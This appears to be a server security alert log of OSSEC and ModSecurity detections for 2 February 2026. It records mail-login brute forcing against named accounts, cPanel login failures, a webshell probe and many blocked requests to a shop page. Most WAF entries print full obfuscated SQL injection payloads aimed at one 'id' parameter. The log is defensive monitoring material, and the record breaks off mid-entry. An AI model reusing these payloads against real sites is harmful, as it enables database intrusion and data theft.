2026-02-02 05:38:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58151: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-02 05:38:09 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:52720: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:38:05 dovecot_login authenticator failed for H=(F42C4G) [165.154.217.204]:58344: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:38:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:38:44 dovecot_login authenticator failed for H=(vU8YuO3sh) [178.16.52.139]:50982: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(2657=2657,1))),'~'),2657)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-02 05:38:02 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:43620: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:38:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43574: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-02 05:39:14 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:51220: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:39:33 dovecot_login authenticator failed for H=(7eqqeSe93) [158.94.208.175]:50181: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:39:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-02-02 05:39:24 dovecot_login authenticator failed for H=([125.23.79.65]) [122.185.146.166]:37948: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:39:07 dovecot_login authenticator failed for H=(pLLJldve) [165.154.217.204]:53131: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:39:40 dovecot_login authenticator failed for H=(Fl2dWcb) [77.83.39.253]:32022: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')))/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9380=9380,1))),'~'),9380) AND ((('xp3ry48j'='xp3ry48j||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:39:14 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51516: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.201.14
country_id: 2921044
description:
2026-02-02 05:39:37 dovecot_login authenticator failed for H=mail.ravenbruch.de ([127.0.0.1]) [135.125.201.14]:53740: 535 Incorrect authentication data (set_id=tigerchong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.188.115.2
country_id: 2542007
description:
2026-02-02 05:39:05 dovecot_plain authenticator failed for H=(PBYTE98B5.localdomain) [105.188.115.2]:63474: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-02 05:39:38 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:58024: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:39:13 dovecot_login authenticator failed for H=(itfBhv) [178.16.52.139]:56256: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/GTID_SUBSET(CONCAT('~',(SELECT/**/(ELT(10554=10554,1))),'~'),10554)# 4XlIGW5l HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.154.196
country_id: 1814991
description:
2026-02-02 05:39:31 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.154.196]:42627: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')))and/**/gtid_subset(concat('~',(select/**/(elt(1229=1229,1))),'~'),1229) and ((('ou2y8ilw'='ou2y8ilw||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-02-02 05:40:17 +0800] info [cpaneld] 45.168.113.8 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1\" and and/**/row(1056,4140)>(select/**/count(*),concat('~',(select/**/(elt(1056=1056,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/4852/**/union/**/select/**/9619/**/union/**/select/**/6364/**/union/**/select/**/2152)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1 AND AND/**/ROW(10137,2735)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10137=10137,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/5818/**/UNION/**/SELECT/**/10645/**/UNION/**/SELECT/**/8334/**/UNION/**/SELECT/**/7646)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:40:06 dovecot_login authenticator failed for H=(uo3OAU) [158.94.208.175]:60326: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:40:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61285: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1 and and/**/row(10137,2735)>(select/**/count(*),concat('~',(select/**/(elt(10137=10137,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5818/**/union/**/select/**/10645/**/union/**/select/**/8334/**/union/**/select/**/7646)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/ROW(1056,4140)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1056=1056,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4852/**/UNION/**/SELECT/**/9619/**/UNION/**/SELECT/**/6364/**/UNION/**/SELECT/**/2152)a/**/GROUP/**/BY/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:40:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:40:10 dovecot_login authenticator failed for H=(FbTRYJ1) [178.16.52.139]:65177: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-02 05:40:52 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:50988: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:40:04 dovecot_login authenticator failed for H=(yxcPjjvj) [77.83.39.253]:56562: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/gtid_subset(concat('~',(select/**/(elt(8155=8155,1))),'~'),8155) or 'cmegve6p'='qi0eq5cq||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:40:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43644: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND AND/**/ROW(1056,4140)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1056=1056,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4852/**/UNION/**/SELECT/**/9619/**/UNION/**/SELECT/**/6364/**/UNION/**/SELECT/**/2152)a/**/GROUP/**/BY/**/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-02 05:40:03 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:43454: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 181.173.158.203
country_id: 3895114
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'))/*!50000AND*/GTID_SUBSET(/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(10869=10869,1))),%27~%27),10869) AND (('cuZeELOg' LIKE 'cuZeELOg||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\" and and/**/row(1056,4140)>(select/**/count(*),concat('~',(select/**/(elt(1056=1056,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/4852/**/union/**/select/**/9619/**/union/**/select/**/6364/**/union/**/select/**/2152)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:40:05 dovecot_login authenticator failed for H=(KZmSraI) [165.154.217.204]:63231: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:40:18 dovecot_login authenticator failed for H=(JoGWZIY) [165.154.217.204]:65517: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1)))AND/**/ROW(8445,4427)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8445=8445,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7613/**/UNION/**/SELECT/**/10825/**/UNION/**/SELECT/**/6202/**/UNION/**/SELECT/**/8361)a/**/GROUP/**/BY/**/x) AND (((1207=1207||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:41:15 dovecot_login authenticator failed for H=(2jZw7gMmZT) [165.154.217.204]:58786: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1'))/*!50000AND*/ROW(1935,7126)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(1935=1935,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/4695/*!50000UNION*//*!50000SELECT*/1316/*!50000UNION*//*!50000SELECT*/8508/*!50000UNION*//*!50000SELECT*/9016)a/*!50000GROUP*//*!50000BY*/x) AND (('CW8XMfVg' LIKE 'CW8XMfVg||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:41:11 dovecot_login authenticator failed for H=(8sQoESaIn) [158.94.208.175]:57360: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:41:16 dovecot_login authenticator failed for H=(1m0zRF5n) [77.83.39.253]:64725: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/row(10336,6656)>(select/**/count(*),concat('~',(select/**/(elt(10336=10336,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5170/**/union/**/select/**/2852/**/union/**/select/**/3019/**/union/**/select/**/9961)a/**/group/**/by/**/x) or '3vtqchje'='crbk2rkd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1)))and/**/row(8445,4427)>(select/**/count(*),concat('~',(select/**/(elt(8445=8445,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/7613/**/union/**/select/**/10825/**/union/**/select/**/6202/**/union/**/select/**/8361)a/**/group/**/by/**/x) and (((1207=1207||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1)))AND/**/ROW(8445,4427)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(8445=8445,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/7613/**/UNION/**/SELECT/**/10825/**/UNION/**/SELECT/**/6202/**/UNION/**/SELECT/**/8361)a/**/GROUP/**/BY/**/x) AND (((1207=1207||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:41:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)))and/**/row(8445,4427)>(select/**/count(*),concat('~',(select/**/(elt(8445=8445,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/7613/**/union/**/select/**/10825/**/union/**/select/**/6202/**/union/**/select/**/8361)a/**/group/**/by/**/x) and (((1207=1207||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:41:08 dovecot_login authenticator failed for H=(iqLpFOqDnC) [178.16.52.139]:64743: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.163.99.166
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/ROW(9818,3334)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9818=9818,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3316/**/UNION/**/SELECT/**/7314/**/UNION/**/SELECT/**/1542/**/UNION/**/SELECT/**/10725)a/**/GROUP/**/BY/**/x)# VcV40cHM HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:41:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49873: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-02 05:41:59 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:42002: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1'))AND/**/ROW(9882,3380)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(9882=9882,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/9265/**/UNION/**/SELECT/**/8625/**/UNION/**/SELECT/**/8763/**/UNION/**/SELECT/**/5364)a/**/GROUP/**/BY/**/x) AND (('64RgZvqJ' LIKE '64RgZvqJ||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1'and/**/row(10336,6656)>(select/**/count(*),concat('~',(select/**/(elt(10336=10336,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/5170/**/union/**/select/**/2852/**/union/**/select/**/3019/**/union/**/select/**/9961)a/**/group/**/by/**/x) or '3vtqchje'='crbk2rkd||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:42:03 dovecot_login authenticator failed for H=(0NxRHr) [77.83.39.253]:49506: 535 Incorrect authentication data (set_id=kwchin)


plugin: modsec
rule: 77318026
name: IM360 WAF: Suspicious input like SQLi
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Suspicious input like SQLi||MVN:ARGS:id||MV:1' and and/**/row(5868,5592)>(select/**/count(*),concat('~',(select/**/(elt(5868=5868,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10943/**/union/**/select/**/2063/**/union/**/select/**/5726/**/union/**/select/**/1785)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: PHP Injection Low value||MV:1') AND /*!50000AND*/ROW(9198,1126)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(%27~%27,(/*!50000SELECT*/(ELT(9198=9198,1))),%27~%27,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9787/*!50000UNION*//*!50000SELECT*/3669/*!50000UNION*//*!50000SELECT*/8587/*!50000UNION*//*!50000SELECT*/2030)a/*!50000GROUP*//*!50000BY*/x)-- -||MVN:ARGS:id||RSV:7.71||T:APACHE||SC:/home2/aotocom/public_html/product-detail.php||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:42:20 dovecot_login authenticator failed for H=(QfUcMYT) [165.154.217.204]:52030: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-02-02 05:42:39 dovecot_plain authenticator failed for H=(thoriad) [92.62.243.174]:47297: 535 Incorrect authentication data (set_id=mhisham.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:42:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56728: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:42:47 dovecot_login authenticator failed for H=(H8FK1e0zg) [158.94.208.175]:51107: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1') AND /*!50000AND*/ROW(9198,1126)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(9198=9198,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9787/*!50000UNION*//*!50000SELECT*/3669/*!50000UNION*//*!50000SELECT*/8587/*!50000UNION*//*!50000SELECT*/2030)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1' and and/**/row(5868,5592)>(select/**/count(*),concat('~',(select/**/(elt(5868=5868,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10943/**/union/**/select/**/2063/**/union/**/select/**/5726/**/union/**/select/**/1785)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 05:42:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 05:42:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42298: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 05:42:04 dovecot_login authenticator failed for H=(aKhXOd) [178.16.52.139]:61805: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 05:42:12 dovecot_login authenticator failed for H=(Z8IHGR) [165.154.217.204]:51062: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-02 05:42:13 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:49572: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 05:43:41 dovecot_login authenticator failed for H=(2LLuQY5H) [158.94.208.175]:52941: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1)and/**/row(5295,8308)>(select/**/count(*),concat('~',(select/**/(elt(5295=5295,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/10526/**/union/**/select/**/9806/**/union/**/select/**/5751/**/union/**/select/**/6419)a/**/group/**/by/**/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.150.168.226
country_id: 1814991
description:
2026-02-02 05:43:58 dovecot_login authenticator failed for H=([27.150.168.226]) [27.150.168.226]:39836: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 186.39.118.120
country_id: 3865483
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'))and/**/row(5240,10683)>(select/**/count(*),concat('~',(select/**/(elt(5240=5240,1))),'~',floor(rand(0)*2))x/**/from/**/(select/**/3465/**/union/**/select/**/1956/**/union/**/select/**/7487/**/union/**/select/**/10240)a/**/group/**/by/**/x) and (('i4aydt5p' like 'i4aydt5p||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 113.173.170.186
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'/*!50000AND*/ROW(5329,1725)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/('~',(/*!50000SELECT*/(ELT(5329=5329,1))),'~',FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9501/*!50000UNION*//*!50000SELECT*/10280/*!50000UNION*//*!50000SELECT*/9591/*!50000UNION*//*!50000SELECT*/6090)a/*!50000GROUP*//*!50000BY*/x)-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 05:43:15 dovecot_login authenticator failed for H=(pRJ1j37) [77.83.39.253]:64220: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 05:43:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53302: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77217210
